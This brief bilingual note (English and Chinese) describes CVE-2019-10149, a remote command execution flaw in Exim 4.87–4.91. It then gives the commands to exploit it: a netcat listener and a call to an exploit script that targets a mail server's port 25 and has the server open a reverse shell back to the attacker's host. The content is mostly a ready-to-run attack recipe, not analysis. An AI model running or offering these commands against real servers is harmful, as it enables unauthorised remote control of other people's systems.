
CVE-2019-10149 : A flaw was found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution.
CVE-2019-10149:在 Exim 4.87 至 4.91(含)版本中发现一个缺陷。/src/deliver.c 中 deliver_message() 函数对收件人地址的验证不完善,可能导致远程命令执行。
nc -lvp 9000
python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000